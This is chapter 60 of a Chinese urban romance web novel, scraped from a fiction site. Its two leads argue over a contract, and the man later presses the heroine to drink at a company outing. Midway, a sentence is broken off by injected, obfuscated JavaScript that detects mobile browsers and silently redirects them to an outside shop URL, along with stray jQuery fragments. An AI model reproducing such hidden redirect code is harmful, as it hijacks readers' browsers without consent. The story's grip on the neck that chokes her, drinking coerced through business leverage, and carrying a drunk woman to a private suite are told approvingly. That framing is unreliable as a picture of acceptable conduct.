文趣网 > 都市小说 > 那就全部拿下 > 60. 第 60 章
    耳垂被他夹在指腹间碾了碾,威胁的意味不言而喻,可惜,陈白筝是不吃压力之人。

    陈白筝索性放松地往后一靠,她倚在他饱满的胸肌上仰起头说:“陆沉哲你这样质问我真是伤透了我的心,当初我就不该送你礼物。”

    陆沉哲低头看着理直气壮地靠在他胸膛上的女人,他的手指滑落后按住陈白筝的颈动脉,指腹下她的动脉一下又一下有力地跳动着,他幽幽道:“你什么意思?”

    陈白筝哼了哼嘲讽道:“我不满足你生日心愿送你独一无二的礼物,你表弟就没机会弄坏礼物,你也就不需要为此感到良心不安了不是吗?你话里话外不就是怪我不该送你礼物吗?”

    陆沉哲咬着牙挤出几个字:“我不是这个意思!”

    颈间的手无意识地用力,陈白筝被勒得呼吸一窒:“咳咳!你要谋杀吗!”

    陆沉哲惊慌地松开她的脖子,他忙从后背将陈白筝拦腰抱起:“对不起,很痛吗?我不是故意的……”

    陈白筝稳稳地坐在他的手臂上,她揉了揉自己的脖子无语道:“我当初真是多余惹祸上身,熊孩子都能逃过一劫,我却被你记仇到现在。”

    他低吼:“小爷没有包庇他!那天之后我就和他断绝关系了!”

    “……那倒也不至于那么极端。”

    为了不再弄疼她,陆沉哲抱着她时完全不敢用力,将她放置到床边时也格外小心翼翼,他一手按在她的身侧,一手轻轻地抚上她的脖子检查,还好,没有红。

    陈白筝双手撑床,陆沉哲的耳坠在她眼前晃来晃去,想着,她伸手弹了弹耳坠,说:“这样看,它确实蛮像鹿角的。”

    虽然陆沉哲讲的跟真的一样,但她还是没能想起他说的那段记忆,为什么呢?难道是因为陈双和陆沉哲的交集太少了?

    陆沉哲微微眯起眼,他偏了偏头将耳垂往她的指尖送去。

    顿了一下,陈白筝收回手,她的目光从他的耳坠移向他的脸,之前她只觉得陆沉哲花里胡哨,现在离近仔细看才发现,这人虽然带点痞气,但长得还蛮帅的,她的目光又从他的脸往下移,嗯,胸肌大小也适中,摸起来的手感应该不会差,短裤下的腿又长又直,说实话,他的身材是真不错……就是这张嘴不好,天天“小爷小爷”地挂在嘴边,性缩力太强了。

    “怎么样,”陆沉哲突然撩起衣摆,他哑声问:“还满意吗?”

    蜜色的巧克力腹肌强烈地刺激了陈白筝的眼睛,鼻腔一热,她猛地捂住鼻子,好险,差点失态!撑着床的手被某种湿热的东西覆住,她瞳孔震动地向下撇去,是陆沉哲,他的掌心正贴着她的手背有意无意地来回摩挲。

    热意冲击之下,陈白筝的脑袋有些发懵,她结结巴巴地说:“你、你发什么骚?”

    陆沉哲从她的手背摸到手腕,他整个人往前压了几分,在离她的红唇只有几毫米的位置,他压低声音说:“在游乐园的时候你说得对,那个时候小爷就应该去查的。”

    他身上散发出的蓬勃气息将她笼罩住,陈白筝眨眨眼后缩了缩脖子。

    陆沉哲的手从她的手腕一路往上抚去,他眼里的情绪变得复杂:“那天缠着你的那个男人,那个害你被孤立的罪魁祸首就是楼万书的未婚夫董诚华对吗?”

    “……是又如何?”陈白筝的眼神冷下来,看吧,只要他们这种人想,就算是没有留下证据的事情也能查到,她冷声说:“你不要告诉我,你这几天逃班就是为了查这件事?”

    掌心擦过她的脖颈最后落在她的脸颊上,陆沉哲捧住她的脸说:“你想报仇吗?小爷可以帮你。”

    陈白筝抬眼望进他的眼底,问:“那楼万书怎么办?”

    陆沉哲用指腹揉了揉她的眼尾,说:“楼万书不至于落到非得和那种人渣结婚的地步,这种小事小爷自然会摆平。”

    他的瞳色偏浅,陈白筝在那里面看到了陈双,她正死气沉沉地看着自己。

    陈白筝拂开了他的手,她淡淡地说:“陆沉哲,如果你真的有心帮我,就快点把合同签了,我没有那么多时间陪你玩这种幼稚的复仇游戏。”

    “小爷没有玩,小爷是认真的!”

    “我也是认真的。”

    陈白筝的眼睛里毫无波澜,但与她对视的陆沉哲却被震得瞳孔一缩。

    他攥着拳头说:“好,小爷说了要帮你就一定会做到,明天下午四点你带着合同到小爷的公司来。”

    陈白筝半阖起眼睛,她抬手用指尖戳了戳陆沉哲的心口处,说:“小陆总,记住你刚才说的话。”

    陆沉哲抓住她的手,他像虔诚的信徒一样用嘴唇贴住她的手背喃喃道:“你放心,我不会重蹈覆辙的。”

    陈白筝不关心他所谓的重蹈覆辙指的是什么,她只关心自己的计划能不能顺利进行。

    第二天下午,陈白筝如约带着文件去陆氏找陆沉哲。

    “小陆总有事会晚点到,我们先开始吧。”

    今天陆沉哲依旧缺席,但问题不大,上次负责和陈白筝对接的工作人员们早早就在会议室等着她了,她一进去,他们就拿出了十二分精神和她重新核对合同的细节。

    一个多小时后,陈白筝合上笔记本电脑,而陆沉哲也在这一刻推开了会议室的门。

    这时机也抓得太准了点,陈白筝抱臂看着又换回花衬衫的陆沉哲,不知道的还以为他一直在外面盯着会议室的监控呢。

    “都搞定了吗?”陆沉哲吊儿郎当地倚着会议室的门,他的目光毫不避讳地紧盯着陈白筝。

    “都完成了,”他的下属把修改好的文件捧到他面前,“这是终版。”

    “嗯,”陆沉哲还是看着陈白筝,他翘起嘴角说:“那把东西整理一下,我们出去吧,陈小姐也一起~”

    陈白筝皱眉道:“去哪?”

    陆沉哲笑嘻嘻地说:“去团建。”

    陈白筝当然是不愿意跟着去的,别人家公司搞团结,她一个外人去凑什么热闹。

    然而陆沉哲料到了她会拒绝,他努起下巴点了点文件说:“陈小姐不是希望尽快把合约签好吗?我对合同的条款还有一点点意见,我们边喝边聊,争取今天内搞定如何?”

    陈白筝的笑不是笑:“好啊,那就感谢小陆总请客了。”

    汽车在闪着红灯的招牌前稳稳停下。

    这不是那晚画廊举办庆功宴时去的酒吧吗?陈白筝扭头瞪着主驾上的人说:“你确定这是正经团建吗?”

    陆沉哲解

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948102|208198||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开安全带,他骚气地撩了一把刘海说:“这是他们投票选出来的地方,打工人下班到清吧聚会喝酒解解工作的苦闷再正常不过了,请陈小姐摘下有色眼镜ok?”

    信你有鬼,陈白筝白了他一眼。

    这个酒吧是陆沉哲和朋友合伙投资开的,它的前厅是慢节奏的清吧,后室则是带KTV的包厢。

    包括陈白筝在内,今天参加团建的一共有十五个人,陆沉哲开了一个特大的豪华包厢。

    “我爱你,爱着你……”

    这头员工们唱歌摇骰子玩嗨了,那头陆沉哲装模作样地在五光十色的灯下看合同。

    茶几上红的白的啤的应有尽有摆了满满一桌酒水,负责招待陈白筝的小李问道:“陈小姐,你点喝什么?”

    “她喝这个,”陆沉哲把一杯颜色怪异的饮品推到她面前,“我调的,尝尝。”

    当初为了业绩,陈白筝每天睁眼就是应酬喝酒,如今她看到酒就反胃,盯着暗色的酒水看了两秒,她越过特调去拿矿泉水,但陆沉哲按住了她的手。

    他对陈白筝扬了扬手里的合同。

    “……小陆总你真是好样的。”深吸一口气,陈白筝拿起酒杯一口闷下。

    辛辣的白酒混合着酸涩的红酒顺着喉咙冲进胃里,一阵尖锐的耳鸣瞬间贯穿大脑,某些灰旧的画面涌入脑海,陈白筝听见了小女孩和女人哭喊着求饶的声音……

    “吵死了!”她捂住额头低喃。

    叮叮当当,陆沉哲又推来三杯酒。

    陈白筝掀起眼皮混沌地看了他一眼,他笑得很得意。

    “陈小姐和我们小陆总是朋友吗?”

    小李的声音打断了陈白筝即将脱口的骂声,喝就喝,她的酒量其实还可以,她又灌下一杯特调才答道:“我们是大学同学。”

    “原来如此!”这下不止小李,又有好几个人围了过来,他们对这个任性至极的新上司充满了八卦的欲望。

    无聊的问题接连被他们抛出来,陈白筝像喝水一样喝着酒,她有一搭没一搭地解答他们的好奇。

    不知不觉间,喝空的酒瓶排成了“长城”,陈白筝的脸颊浮出一片红晕,包厢里的每个人都散发出浓浓的酒气。

    腰间被什么又硬又烫的东西卡着,陈白筝揉揉发晕的太阳穴低头看去,是陆沉哲的手,他不知道什么时候坐到了她的身旁,还揽住了她的腰。

    察觉陈白筝在掰自己的手指,陆沉哲声音嘶哑:“你喝醉了?”

    陈白筝用雾蒙蒙的眼睛盯着他,他的眼神看起来也不甚清明,估计也没少喝,想着,她捏起他的手背上的一点点皮,然后用力拧了一圈,她恶狠狠地说:“欠揍!”

    骤痛迫使陆沉哲清醒了一点,他抱住乱动的陈白筝后看了一眼手表,已经九点多了,于是他清了清嗓子对其他人说:“你们还想玩的可以继续,所有账都会记在小爷的单子上,不过明天还要上班,你们最好点到为止。”

    “放心吧小陆总!谢谢小陆总,小陆您总慢走啊!”

    陆沉哲揽着陈白筝走出包厢,然后他抱着她上了拐角处的电梯。

    陈白筝坐在他的手臂上扭开推去间,电梯在不对外开放的三楼停下,那儿有陆沉哲的私人套间。